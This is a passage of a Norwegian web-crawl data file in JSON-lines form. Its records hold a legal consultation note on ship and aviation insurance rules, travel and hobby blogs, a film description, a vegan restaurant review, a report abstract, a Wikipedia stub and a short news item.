at dette skal unders\u00f8kes ved periodiske og ikke-periodiske tilsyn foretatt av norske myndigheter eller andre som bemyndiges til \u00e5 foreta slikt tilsyn. Tredje ledd gjennomf\u00f8rer kravene fastsatt i f\u00f8rste og annet ledd ogs\u00e5 for utenlandske skip i enkelte situasjoner. Kravene gjelder utenlandske skip generelt, og er s\u00e5ledes ikke begrenset til skip under E\u00d8S-statenes flagg. Direktivet krever at man skal oppstille forsikringskrav til utenlandske skip n\u00e5r de anl\u00f8per norske havner, men forhindrer ikke mer vidtg\u00e5ende regulering, jf. direktivet artikkel 3 nr. 2. Departementet foresl\u00e5r samme type regulering her som vi finner i tilsvarende situasjoner ellers i sj\u00f8loven, jf. sj\u00f8loven 182 annet ledd og 197 f\u00f8rste ledd. F\u00f8lgelig er kravene i f\u00f8rste og annet ledd fastsatt \u00e5 skulle gjelde tilsvarende for utenlandsk skip som anl\u00f8per eller forlater havn eller annen laste- eller losseplass i Norge eller p\u00e5 den norske delen av kontinentalsokkelen. Fjerde ledd fastsetter at reglene i f\u00f8rste til tredje ledd ikke kommer til anvendelse p\u00e5 skip som eies av en stat, og som utelukkende benyttes til ikke-kommersielle form\u00e5l. Femte ledd gir departementet kompetanse til \u00e5 gi utfyllende forskrifter. Til ny 182 b Bestemmelsen har bakgrunn i direktiv 2009/20/EF artikkel 5. F\u00f8rste ledd gir hjemmel til \u00e5 bortvise utenlandsk skip som mangler sertifikat for forsikring eller annen sikkerhet. Annet punktum fastsetter at norske myndigheter skal notifisere Europakommisjonen, de \u00f8vrige medlemsstatene og flaggstaten om bortvisingen, slik at dette ogs\u00e5 kan h\u00e5ndheves av de andre E\u00d8S-statene inntil sertifikat foreligger. Annet ledd fastsetter at utenlandsk skip skal nektes anl\u00f8p til norsk havn dersom en annen E\u00d8S-stat har notifisert Europakommisjonen om at det er bortvist i henhold til Side 11\n\n12 direktivet artikkel 5 nr. 2 f\u00f8rste punktum. Et slikt skip kan f\u00f8rst anl\u00f8pe norsk havn n\u00e5r skipet har gyldig sertifikat for forsikring eller annen sikkerhet. Til ny 182 c Bestemmelsen har bakgrunn i direktiv 2009/20/EF artikkel 7. Bestemmelsen fastsetter sanksjoner n\u00e5r en skip under norsk flagg ikke oppfyller kravene til forsikring eller sikkerhet og tilknyttet sertifikat, se n\u00e6rmere punkt Merknader til luftfartsloven Til a Tredje ledd endres slik at det fremg\u00e5r uttrykkelig at departementets forskriftskompetanse omfatter utfylling og gjennomf\u00f8ring av forsikringskrav for passasjerer, reisegods og gods som f\u00f8lger av E\u00d8S-avtalen p\u00e5 luftfartsomr\u00e5det. Forskriftskompetansen avgrenses til forordning (EF) nr. 785/2004, som endret ved forordning (EU) nr. 285/2010 og eventuelle fremtidige endringer, gjennom presiseringen av at den kun gjelder utfylling og gjennomf\u00f8ring av forsikringskrav for passasjerer, reisegods og gods som f\u00f8lger av E\u00d8S-avtalen. Fjerde ledd foresl\u00e5s opphevet som en konsekvens av at forordning (EF) nr. 785/2004, som endret ved forordning (EU) nr. 285/2010, vil bli inkorporert ved forskrift fastsatt i medhold av tredje ledd. Til 11-2 F\u00f8rste ledd foresl\u00e5s endret slik at det fastsl\u00e5s en generell plikt for fart\u00f8y som brukes til luftfart etter luftfartsloven, til \u00e5 ha godkjent forsikring eller annen sikkerhet til dekning av erstatningsplikt som nevnt i Henvisningen til forordning (EF) nr. 785/2004 er tatt ut. Plikten til \u00e5 ha forsikring i henhold til europaparlaments- og r\u00e5dsforordning (EF) nr. 785/2004 om forsikringskrav for luftfartsselskaper og luftfart\u00f8yoperat\u00f8rer, vil i stedet f\u00f8lge av forskrift fastsatt i medhold av paragrafens annet ledd. Annet ledd foresl\u00e5s endret slik at det fremg\u00e5r uttrykkelig at departementets forskriftskompetanse omfatter utfylling og gjennomf\u00f8ring av forsikringskrav som f\u00f8lger av E\u00d8S-avtalen p\u00e5 luftfartsomr\u00e5det. Forskriftskompetansen avgrenses til utfylling og gjennomf\u00f8ring av forordning (EF) nr. 785/2004, som endret ved forordning (EU) nr. 285/2010 og eventuelle fremtidige endringer, gjennom presiseringen av at den kun gjelder utfylling og gjennomf\u00f8ring av forsikringskrav for erstatning for skade p\u00e5 tredjeperson som f\u00f8lger av E\u00d8S-avtalen. 4.3 Merknader til forslaget til forskrift om forsikring og annen sikkerhet for ansvar etter 1996-globalbegrensningskonvensjonen m.m. Forskriften gjennomf\u00f8rer artikkel 6 nr. 2 og 3, artikkel 5 nr. 1 og artikkel 7 i direktiv 2009/20/EF. Se n\u00e6rmere punkt 1.3 i h\u00f8ringsnotatet. Side 12\n\n\n", "language": "no", "__index_level_0__": "5954a40e-016d-45e8-987b-b0ed8e045913"}
{"url": "http://www.deborahogjohnsverre.nl/blogg/norsk/473", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:46:09Z", "text": "# Naxos\n\nPosted on 08.08.14  by  johnsverre\n\n\n\nNaxos by\n\nEtter en herlig tid p\u00e5 Syros tok vi en ferge videre til Naxos. Dette er den st\u00f8rste av \u00f8yene i Kykladene. For \u00e5 f\u00e5 en god miks av by og strand s\u00e5 valgte vi \u00e5 legge oppholdet v\u00e5rt til Naxos by (Khora). Byen ligger slik p\u00e5 \u00f8ya at man har lett tilgang til strand p\u00e5 den ene siden og havna og sentrum p\u00e5 den andre siden av en bakketopp.\n\nVi bodde p\u00e5 Naxos Golden Beach i en leilighet et steinkast unna Agios Georgios som er en stor og flott strand. Denne bar mer preg av turisme og s\u00e5 litt ut som et rutenett av solsenger. Her m\u00e5tte man i tillegg leie solsengene. Dersom man gikk litt videre var det st\u00f8rre, \u00e5pne omr\u00e5der der man lett kunne slenge seg ned. P\u00e5 tross av at det var varmere i lufta p\u00e5 Naxos enn p\u00e5 Syros s\u00e5 var vannet kaldere, i alle fall f\u00f8ltes det slik.\n\n\n\nEn overopphetet Deborah\n\n\n\nRedningen\n\nP\u00e5 mange m\u00e5ter minnet faktisk Naxos litt om \u00c5re. Naxos er for strand som \u00c5re er for skibakkene \u2013 her var det nesten bare strand- og vannsportbutikker. I tillegg gikk alle hele tiden rundt i badekl\u00e6r uansett tid p\u00e5 d\u00f8gnet, og uansett om man badet eller ikke. Det var dessuten ogs\u00e5 en hel dr\u00f8ss med nordmenn her. P\u00e5 restauranter i middagstid var det ikke uvanlig at fire av de fem n\u00e6rmeste bord var norske \u2013 det femte var nederlandsk. P\u00e5 tross av at dette ikke var uventet i Hellas, s\u00e5 var dette litt i overkant. Kanskje er vi mer vant til feriedestinasjoner der vi f\u00f8ler oss litt mer i mindretall i sammenligning med innbyggerne.\n\n\n\nKoselig restaurant som fylte en hel gate med bord og stoler\n\n\n\nOnkelen til John Sverre anbefalte Kleftiko \u2013 dette m\u00e5tte pr\u00f8ves.\n\nDet var allikevel deilig \u00e5 v\u00e6re p\u00e5 Naxos. Dagene ble fylt med sene frokoster p\u00e5 balkongen og bading p\u00e5 ettermidagen for s\u00e5 \u00e5 plukke en restaurant som fristet for middag \u2013 herlig, avslappende.\n\n\n\nKjent landemerke p\u00e5 Naxos \u2013 porten til Apollos tempel\n\n\n\nEt siste bad fra havna p\u00e5 Naxos\n\n\n\nFerga kommer\u2026\n\n", "language": "no", "__index_level_0__": "7aff6ef2-6794-4839-a8c8-ed64615214ce"}
{"url": "http://vildehoo.blogg.no/1318427890_header__.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00258.warc.gz", "warc_date": "2018-03-24T23:24:00Z", "text": "## Header ... ?\n\nJa , jeg trenger en header som er : 808 x300px.\u00a0  \nS\u00e5 hvis noen er flinke s\u00e5 kan dere lage header til meg da ? \u00a0  \nHer kommer noen bilder :  \n\u00a0\n\n\u00a0\n\n\n\n  \n  \n  \n\n  \n  \nSry for at bildene ble s\u00e5 store\n\n-----\n\n\u00a0**-Kan du hjelpe meg med og lage header ?\u00a0  \n  \n\\-Vilde \\<3  \n  \nTnaaaaw skj\u00f8nne bilder, mn eg e ekje go t \u00e5 laga header\\!\\! :S men s\u00f8\u00f8\u00f8\u00f8te bildr pena\\!\\! \\<333 :D\n\n12.okt.2011, 16:03  \nkjempe fine bilder \\<3  \n  \nmen eg suge te \u00e5 laga header :// \\<3\n\n12.okt.2011, 16:07  \n", "language": "no", "__index_level_0__": "72f7f250-cf1c-4fbe-adfb-3fe1f8d33902"}
{"url": "http://www.arthaus.no/kommer/article949542.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:23:01Z", "text": "Tittel: Once  \nOriginal tittel: Once  \nRegi: John Carney  \nSkuespillere: Glen Hansard, Mark\u00e9ta Irglov\u00e1  \nManus: John Carney  \nMusikk: Glen Hansard, Mark\u00e9ta Irglov\u00e1  \nSjanger: Drama / Musikkfilm  \nNasjonalitet: Irland  \nSpr\u00e5k: Engelsk  \nEn musiker st\u00e5r p\u00e5 gata i Dublin og spiller sanger han har skrevet selv - uten nevneverdig oppmerksomhet fra passerende. Han bor hos sine foreldre, jobber med \u00e5 reparere st\u00f8vsugere for faren og spiller p\u00e5 gata for sin egen del. En dag stopper en jente opp og lytter. Dagen etter er hun tilbake med st\u00f8vsugeren sin, som han halvhjertet har lovet \u00e5 fikse. Dette er opptakten til en uke de tilbringer sammen, men begynnelsen p\u00e5 noe langt mer.  \n  \nONCE er en sjarmerende og r\u00f8rende musikkfilm med intense og f\u00f8lelsesladde sanger i beste singer songwriter-tradisjon. Aller mest er det en flott historie hvor musikken binder fortelling og karakterer sammen. Du vil forlate kinosalen med et smil om munnen og en t\u00e5re i \u00f8yekroken.  \n  \nJohn Carney, som har skrevet og regissert ONCE, har en fortid som bassist i det irske rockebandet The Frames. Glen Hansard, som spiller hovedrollen i ONCE er vokalist og gitarist i dette bandet og har tidligere v\u00e6rt p\u00e5 lerretet i filmen THE COMMITMENTS.  \n  \nONCE var et lite lavbudsjettsprosjekt mellom venner som ble en uventet suksess. Virkeligheten har kopiert kunsten, for Glen Hansard og Marketa Irglova ble kj\u00e6rester i l\u00f8pet av USA-turneen til The Frames etter lanseringen av filmen der. De to opptrer n\u00e5 sammen i sideprosjektet The Swell Season p\u00e5 egne konserter i USA og Europa.  \n  \nONCE ble publikumsvinner p\u00e5 fjor\u00e5rets Sundance-festival og hovedrolleinnehaverne Glen Hansard og Marketa Irglova ble i februar bel\u00f8nnet med OSCAR for beste originalasang.\n\n\u00a0\n", "language": "no", "__index_level_0__": "413e06ea-1137-4e99-9372-89375a7b2e0b"}
{"url": "http://roysobstad.blogspot.com/2009/04/i-dag-vaknet-jeg-til-en-leilighet-som.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:38:28Z", "text": "## mandag 13. april 2009\n\n### Siste p\u00e5skeferiedag\n\nI dag v\u00e5knet jeg til en leilighet som var tom for kaffe. Ute hadde de siste dagenes likegyldige gr\u00e5v\u00e6r g\u00e5tt over i striregn. Noen hadde igjen begynt \u00e5 romstere inne hos naboen.  \n  \nNoe sier meg at p\u00e5skeferien n\u00e6rmer seg slutten.  \n  \nDet har v\u00e6rt 10-12 dager etter mitt hjerte. De f\u00f8rste gikk for det meste med til rus og bakrus, sigaretter og h\u00f8y r\u00e5kkemusikk. De neste er blitt tilbragt i sofaen, hvor jeg har oppdaget at jeg liker krim ganske godt. Ikke s\u00e5nn moderne krim hvor alkoholiserte politimenn jakter p\u00e5 sadistiske seriemordere, men slike hvor alkoholiserte herrer i tweed r\u00f8yker pipe mens de etterforsker giftmord beg\u00e5tt blant Chesterfield-m\u00f8bler. Krim med litt stil, alts\u00e5. John Dickson Carr er mannen.  \n  \nResten av p\u00e5skekrim-behovet, et behov som utvilsomt er blitt plantet i meg av media og forlagsbransjen, har jeg dekket med en boks klassisk film noir.  \n  \nEn og annen spaser- og sykkeltur har jeg ogs\u00e5 tatt meg tid til. Dessuten har jeg skrevet en liten artikkel jeg ser frem til \u00e5 f\u00e5 publisert, og jeg har blyanttegnet to sider *Brakk*.  \n  \nMen akkurat n\u00e5, mens vi alle st\u00e5lsetter oss for en ny \u00f8kt i gruvene, anbefaler jeg \u00e5 lytte til ukens spilleliste hos Louis. Jeg er ansvarlig for I Was a King, Feist & Ben Gibbard, Gary Louris & Mark Olson, Papercuts og The Handsome Family. Med andre ord: Hvis noe er veeeldig melankolsk og/eller country, s\u00e5 er det nok jeg som har gravd det frem.  \n  \nSelv har jeg tenkt \u00e5 avrunde h\u00f8ytiden med \u00e5 se Stranger than Paradise. Lakonisk svart/hvitt-film om folk som kjeder seg er tingen for the post-p\u00e5skeferie blues, tenker jeg.\n\n              \n\n## Fasiten for 2018\n\n\u00c5rets definitive spilleliste, oppdatert stadig vekk.\n\n## Ulvene i korridoren\n\n  \n  \n*En bekymringsl\u00f8s ung mann har sin f\u00f8rste arbeidsdag i et stort firma. Han kan ingenting og han vet ingenting. Likevel er han aldri i tvil om at han fortjener all den fremgang han kan f\u00e5. Men kontorlandskapet skjuler m\u00f8rke hemmeligheter. Den unge mannens f\u00f8rste arbeidsdag kan fort vise seg \u00e5 bli hans siste.*  \n  \n", "language": "no", "__index_level_0__": "5ae74ff2-80d0-4b6d-ac55-543546676221"}
{"url": "http://kikertterroristen.blogspot.com/2012/08/restaurantanbefaling-kaos-malmo_27.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:40:53Z", "text": "## mandag 27. august 2012\n\n### Restaurantanbefaling: Kao's, Malm\u00f6\n\n  \n\n\n**Veganguide Malm\u00f6, del 2.\u00a0**  \n  \nJeg kan takke svenske VeganMage for at jeg oppdaget Kao's. Han snakker veldig varmt om det veganske spisestedet i Malm\u00f6, og jeg skal ikke nekte for at magen kriblet av forventning da jeg bes\u00f8kte restauranten for f\u00f8rste gang. La meg bare si det med en gang: jeg ble ikke skuffa. Malm\u00f6 er en av Sveriges mest vegan-vennlige byer, og Kao's var virkelig et h\u00f8ydepunkt i l\u00f8pet av hele ferien. Jeg likte stedet s\u00e5 godt at jeg spiste der to ganger p\u00e5 fire dager, ho-ho.  \n\n|                                                                                                |\n| :--------------------------------------------------------------------------------------------: |\n|  |\n|                                    Dagens gr\u00f8nnsak p\u00e5 Kao's                                    |\n\n|                                                                                                |\n| :--------------------------------------------------------------------------------------------: |\n|  |\n|                                       Kao's: dessert x 2                                       |\n\nF\u00f8rste gang jeg bes\u00f8kte Kao's spiste jeg dagens gr\u00f8nnsak (linseburger, kokte poteter, knallgod saus, blomk\u00e5l kokt sammen med r\u00f8dk\u00e5l, og en enkel salat) og drakk en juice fra Salt\u00e5 Kv\u00e4rn J\u00e4rna. Til dessert spiste jeg like godt to ting (s\u00e5nn g\u00e5r det n\u00e5r det er for mye godt \u00e5 velge mellom). Snickerskaka var himmelsk, og sjokoladebollen klissete og deilig. For alt dette betalte jeg 117 SEK. (Dessertene jeg spiste kostet 15 SEK hver\\! 15 svenske kroner\\!)  \n\n|  |\n|                                Kao's: sopp- og fl\u00f8tefylt crepes                                |\n\n|                                                                                                |\n| :--------------------------------------------------------------------------------------------: |\n|  |\n|                                      Dagens feik p\u00e5 Kao's                                      |\n\nMitt andre bes\u00f8k p\u00e5 Kao's bekreftet inntrykket av at restauranten er et av de aller beste spistestedene i Malm\u00f6 (i alle fall hvis du er veganer). Maten var like god, og folkene som jobber der like fine. Andre gang jeg spiste p\u00e5 Kao's spiste jeg en crepe med sopp- og fl\u00f8tefylling til forrett. Fy faen s\u00e5 sjukt godt\\! Jeg kunne skrevet sidevis om bare forretten. Crepen smelta p\u00e5 tunga. Det er h\u00f8res helt sn\u00e5lt ut, men Kao's veganske sopp- og fl\u00f8tefylte crepe var noe av det aller beste jeg spiste i l\u00f8pet av hele ferien. Jeg har ikke laget crepes etter at jeg ble veganer (og knapt nok f\u00f8r det), og takket v\u00e6re Kao's har jeg blitt superinspirert til \u00e5 lage det selv. Hovedretten var dagens \"feik\" (chili- og spisskumminduftende soyabiter med couscous og guacamole). Jeg vet jeg ikke er s\u00e6rlig fan av kj\u00f8ttersatningsgreier, men dagens gr\u00f8nnsak (kikertburger) var utsolgt innen jeg kom til Kao's klokka fire p\u00e5 ettermiddagen. Kao's kan sine saker, for til og med skeptiske meg synes dagens feik var kjempegod. Til dessert spiste jeg en syrlig og frisk limepai. Jeg betalte 165 SEK for forrett, hovedrett, kake og en eple- og mangodrikk fra Salt\u00e5 Kvarn J\u00e4rna. Sammenlignet med norske forhold er dette en s\u00e6rdeles overkommelig pris.  \n  \nMellom klokka 11.00 og 16.00 har Kao's lunsjbuffet. Ellers best\u00e5r a la carte menyen blant annet av soyafarsepai, sopprisotto, burger med rotfruktchips. Som oftest har de minst \u00e9n suppe p\u00e5 menyen. Kao's bruker utelukkende \u00f8kologiske r\u00e5varer.  \n  \nDa jeg bes\u00f8kte Kao's i juli 2012 hadde de nettopp flyttet fra Sp\u00e5ngatan til nye lokaler i F\u00f6reningsgatan, like ved Malm\u00f6 konserthus. Pr. juli 2012 hadde Kao's kun uteservering (riktignok uteservering inne under tak, for \u00e5 si det slik), men innend\u00f8rs servering er under arbeid og kommer p\u00e5 plass om ikke s\u00e5 lenge. F\u00f6reningsgatan m\u00e5 for \u00f8vrig v\u00e6re den mest vegan-vennlige gata i hele Malm\u00f6. P\u00e5 Is \u00e0 Bella, som ligger tvers over gata fra Kao's, f\u00e5r du is og kaffe (jeg talte 4-5 veganske is-sorter), og vegg i vegg med Is \u00e0 Bella ligger R\u00f6tter, som selger \u00f8kologisk lokalprodusert frukt, gr\u00f8nt og alt mulig annet - direkte fra bonden. Det vegan-vennlige sushistedet Sushido ligger hundre meter lenger ned i gata, p\u00e5 samme side av veien som Kao's. Sykt fete Astrid och Aporna ligger i krysset ovenfor Kao's.  \n  \nBare for \u00e5 si det enda en gang: de som jobber p\u00e5 Kao's er kjempetrivelige, maten smaker forbanna godt og ser fantastisk tiltalende ut, og du f\u00e5r mye mat for pengene. Kao's var det absolutte h\u00f8ydepunktet under oppholdet i Malm\u00f6 (og hele Sverige, for den del).  \n  \n**Adresse:** F\u00f6reningsgatan 37, Malm\u00f6  \n**Hjemmeside:** Facebook  \n**Telefon:** ikke enda\\! (de har nettopp flytta til nye lokaler)  \nKikertterroristen  kl. \n\n27.8.12           \n\n#### 2 kommentarer:\n\n1.  \n    \n    Hege27. august 2012 kl. 08:58\n    \n    Litt morsomt at restauranten er i Malm\u00f8 og heter Kaos :-D Har du h\u00f8rt om \"Laserturken\"? Under skytingene i Malm\u00f8 ble en fyr intervjuet som sa at dersom han fant gjerningsmannen s\u00e5 skulle han \"gj\u00f8re kaos med han\". Dette har blitt en kjent quote i Sverige og i min vennegjeng her i Norge, og i Sverige selger de Laserturken Merchandise. hehe.  \n      \n    Jeg er veldig glad i disse restaurantanbefalingene dine :-) Jeg kikker alltid innom anbefalinger p\u00e5 veganblogger f\u00f8r jeg reiser et nytt sted.\n    \n    1.  \n        \n        Kikertterroristen27. august 2012 kl. 15:57\n        \n        Oi, det ante jeg ikke\\! Takk for info\\!  \n          \n        S\u00e5 hyggelig \u00e5 h\u00f8re at du synes restaurantanbefalingene er nyttige. Jeg har spist s\u00e5 utrooooolig mye god mat i sommer, og da er det bare rett og rimelig \u00e5 dele det med omverdenen, synes jeg.\n        \n## Velkommen til Kikertterroristens veganske matblogg\n\nI motsetning til hva bloggaliaset Kikertterroristen kan gi inntrykk av, s\u00e5 handler ikke veganisme om \u00e5 v\u00e6re verken fundamentalist, ekstremist, militant, fascist, raddis eller terrorist. Derimot henger valget om \u00e5 spise vegansk sammen med en enorm matglede. For meg handler veganisme om tre ting: det er positivt for milj\u00f8et, det er positivt for dyrene, og det er positivt for min egen helse.   \n\n    \n\n", "language": "no", "__index_level_0__": "a8ac2309-a16e-42ba-be7b-66d2901ced52"}
{"url": "https://brage.bibsys.no/xmlui/handle/11250/164567", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:51:12Z", "text": "Helsemyndighetene har som et av sine viktigste m\u00e5l at helsetjenesten skal organiseres p\u00e5 pasientenes premisser, at pasientens behov skal v\u00e6re utgangspunkt for all behandling og kjernen i all pleie. Hovedform\u00e5let med prosjektet har derfor v\u00e6rt \u00e5 f\u00e5 bedre kunnskap om hvordan og hvorfor befolkningens tilfredshet med norske sykehustjenester varierer. Et hovedpoeng har v\u00e6rt \u00e5 unders\u00f8ke hvor vidt graden av brukertilfredshet reflekterer ressursbruken, kvaliteten p\u00e5 sykehustilbudet i hjemstedsfylket, eller om variasjon i brukertilfredshet i f\u00f8rste rekke har sammenheng med kjennetegn ved brukerne selv.\n\n##### Series\n\nRapport  \n2001:59\n\n", "language": "no", "__index_level_0__": "733be547-0af1-427b-a5ed-f9f284637247"}
{"url": "https://no.wikipedia.org/wiki/TT_Circuit_Assen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:50:59Z", "text": "# TT Circuit Assen\n\n**TT Circuit Assen** er en nederlandsk racerbane som ligger i Assen. Racerbanen brukes prim\u00e6rt for roadracing, men ogs\u00e5 for biler. Den f\u00f8rste banen ble bygd i 1925, og ble benyttet frem til 1955 da en ny rullebane ble bygd. Den ble renovert i 2006.\n\n", "language": "no", "__index_level_0__": "bdd1dd54-e2a1-4342-ad18-6725559d71e4"}
{"url": "https://www.nrk.no/nyheter/vil-gjenopprette-handel-med-myanmar-1.13134737", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:43:27Z", "text": "## Vil gjenopprette handel med Myanmar\n\nUSAs president Barack Obama har startet prosessen med \u00e5 gjenopprette handel med Myanmar som ble suspendert for mer enn 20 \u00e5r siden, melder AFP. I et brev til Kongressen skriver Obama at han \u00f8nsker \u00e5 gjenopprette handelen med landet.\n\n", "language": "no", "__index_level_0__": "5bb7c154-d3a5-41f9-9083-b42d087735ad"}
{"url": "http://trollogting.blogspot.com/2009/03/hekla-blonde-og-rosestoff.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:11:11Z", "text": " \n\n## mandag 23. mars 2009\n\n### Hekla blonde og rosestoff.\n\nHar sett igang med eit sy/hekleprosjekt som har vore planlagt ei stund.......hekledelen best\u00e5r av mange meter hekla blonde...n\u00e6rmare 7 meter har eg rekna ut.  \n\n  \nTr\u00e5dmerke for kvar ferdig meter.  \n\n\n\nBlondekanten skal kombinerast med desse stoffa.......nokon har eg hatt liggande lenge, andre er nyinnkj\u00f8pte.\n\n  \n\n\n\nEtter \u00e5 ha sete i \"timevis\" og beundra dei fine lappedukane hj\u00e5 Mias Landliv berre m\u00e5tte eg pr\u00f8ve sj\u00f8lv. Ikkje slik \u00e5 forst\u00e5 at eg trur eg kan matche det den dyktige dama gjer, men eg fekk so lyst \u00e5 lage min eigen.  \n  \n\nHvis du trudde at du slapp unna oppussingsprat i dag, m\u00e5 du tru om att. Nei, her skal kvar minste ting \"offentleggjerast\". Ligg faktisk litt f\u00f8re skjema, fekk vaska b\u00e5de f\u00f8r og etter jobb i g\u00e5r....og bonden vekte meg klokka seks i dag tidleg (etter avtale) slik at eg fekk teke resten d\u00e5.\n\nHadde nemleg lova meg bort p\u00e5 barnepass nokon timar, sidan barnehagen var stengt.\n\nI ettermiddag, f\u00f8r jobb rakk me \u00e5 lakke fyrste str\u00f8ket........var kjapt gjort n\u00e5r bonden tr\u00f8dde til \u00f2g.  \n\n\n  \nBerre to str\u00f8k til (og venting i 48 timar etter det ) so kan me flytte inn att. I mellomtida kan eg hekle....og sy....tralala..\n\nHa det godt heile veka\\!\n\n16:24           \n\n#### 19 kommentarer:\n\n\n\n\n\nMagny sa...\n\nkj\u00e6re vene... huskar d\u00e5 eg var lita og mor mi bona stovene, alle m\u00f8blar var flytta inn i ei stove mens det p\u00e5gikk, guri kor g\u00f8yt me hadde det med gjemsel d\u00e5...  \n  \nog dette rose stoffet,- nyyyydleigt\\! kor har du fat tak i det???  \ns\u00e5 vakkert og nostalgisk med h\u00e5ndlaget kant rundt....\\!  \ndu er flink\\!  \nhilsen magny\n\n 23. mars 2009 kl. 17:28    \n\n\n\n\n\nmerethe sa...\n\nJeg m\u00e5 si at du har funnet mange fine stoffer som du skal sette sammen. Ogs\u00e5 med hekla kant rundt.  \nGleder meg til \u00e5 se det ferdig. :)\n\n 23. mars 2009 kl. 18:45    \n\n\n\n\n\nGamleheksa sa...\n\nDette var flotte stoffer. Her blir det mange fine produkter framover. Og s\u00e5 den flotte blonden da\\!\n\n 23. mars 2009 kl. 19:01    \n\n \n\n\u00c5 du verden, det g\u00e5r unna med opp-pussinga skj\u00f8nner jeg\\!\\! Godt med en naturlig pause, da man ikke kan f\u00e5 gjort noe annet enn \u00e5 sette seg ned med det siste hobbyprosjektet sitt\\!\\! De dukene som du linker til, er bare s\u00e5 fine\\! Har v\u00e6rt inne \u00e5 \"Sikla\" p\u00e5 dem jeg ogs\u00e5\\! Samt at jeg har et gammelt blad med noen tepper i, som ogs\u00e5 er s\u00e5 fine... Har ogs\u00e5 s\u00e5 mye stoff liggende. Men s\u00e5 var det dette med tid, da, uff, skulle v\u00e6rt blekksprut, ja, s\u00e5 kunne to arma sydd, to malt, to...osv.osv. Men ihvertfall, alle spirene er flytta over\\!\\! ;) Ha en kjempefin uke videre\\! Glemte nesten, S\u00e5 mye utrolig fint stoff du viser, ja, det blir da bare s\u00e5 fint\\!\\! Og at det blir bra, det vet jeg, for du er s\u00e5 utrolig flink\\!\\!\n\n 23. mars 2009 kl. 19:06    \n\n\n\n\n\nAlvas hj\u00f8rne sa...\n\nS\u00e5 vakkre stoffer\\!  \nEr s\u00e5 fine disse stoffene med roser, og den skj\u00f8nne hekleborden:)s\u00e5 flink du er\\!\\!  \nLykke til videre med gulvet, mye arbeid med slikt...  \nHa en fin kveld\\!\n\n 23. mars 2009 kl. 19:54    \n\n\n\n\n\nBra du snakker om oppussing ogs\u00e5, jeg trenger og inspireres...har litt maling igjen, som skulle vente til v\u00e5ren...tror det er tida n\u00e5;)  \nLykke til Med b\u00e5de s\u00f8m, hekling og gulvlakk...PUH\\! Jammen er du flink\\!\n\n 23. mars 2009 kl. 20:03    \n\n \n\nIngrid sa...\n\nDette kjem til \u00e5 bli fint \\!\\!\\!\\!\n\n 23. mars 2009 kl. 21:01    \n\n\n\n\n\nHulda sa...\n\nS\u00e5 flotte stoffer du har kj\u00f8pt, og nydelig blonder du hekler. Dette blir nok et skj\u00f8nt teppe. Kanskje du kan bruke det ute i sommer. :)\n\n 23. mars 2009 kl. 21:04    \n\n\n\n\n\nBesta sa...\n\nNydelige stoffer du har og den hekla blonden. Gulvet blir bare lekkert.\n\n 23. mars 2009 kl. 23:38    \n\n\n\n\n\n\\~\u2665\\~ Monica S sa...\n\nOj.. du har fleire spennande prosjekt p\u00e5 gong du\\! :-)  \nDet golvet s\u00e5g fantastisk ut\\!\\!  \n  \nSpennande \u00e5 sj\u00e5 kva du har tenkt \u00e5 gjere med stoff og blonder\\!\\!  \n  \nMonica\n\n 23. mars 2009 kl. 23:49    \n\n\n\n\n\nDu imponerer stadig vekk\\! N\u00e5r sover du? Hehe... Flott med nylakket gulv, og de stoffene og den blonden...det m\u00e5 bare bli nokke nydelig:)))\n\n 24. mars 2009 kl. 00:08    \n\n \n\nNikoline sa...\n\nSj\u00e5 der ja,no kjem amerikastoffa til sin rett\\!\\!\\! Alldeles nydeleg\\! Dette kjem til \u00e5 verta ein STASDUK\\!  \nOg du driv p\u00e5 like aktivt som vanleg ser eg...Du er FLINK og DYKTIG (og snill og god og grei)  \nVeit av og til ikkje om det er s\u00e5 greit \u00e5 ha ei slik venninne som f\u00e5r tid til og klarar allverdens...  \nJau,det er veldig greit\\!\\!  \nHa ein fin dag og hugs \u00e5 pausa deg litt i sola i dag :0)\n\n 24. mars 2009 kl. 08:05    \n\n\n\n\n\nTurid sa...\n\nEn rosa og blomstrende tilv\u00e6relse her hos deg tross st\u00f8v og lakk .  \nSpennende med opp pussing- her tar vi l\u00f8s etter p\u00e5ska- vet ikke om \u00e6 skal grue eller hva?  \nHerlig sauebilde hos deg- har hatt sauer vi og , la ned i 2001- savner de s\u00e6rlig n\u00e5 i lammetia. og utover sommeren n\u00e5r vi gjorde som du , s\u00e5 til de p\u00e5 beite.  \nHa en fin dag\\!\n\n 24. mars 2009 kl. 09:01    \n\n\n\n\n\nLille meg sa...\n\nS\u00e5 flink du er\\! Og s\u00e5 nyydelig et stoff\\! Det var virkelig flott\\!  \nDet skal bli artig \u00e5 f\u00f8lge med videre. Lykke til med fortsettelsen\\!\n\n 24. mars 2009 kl. 09:56    \n\n\n\n\n\nNita sa...\n\nHerligheten s\u00e5 skj\u00f8nne blonder og stoffer\\! Dette blir det nok noe riktig fint av ja, det er jeg sikker p\u00e5.  \nSer det er flere enn meg som lurer p\u00e5 n\u00e5r du sover??...hihi  \nSyns dere er fantastiske til \u00e5 st\u00e5 p\u00e5 hele tiden, og gulv er et ommfattende prosjekt. Jeg f\u00f8lger spent med videre :)  \n  \nHar forresten hatt store problemer med 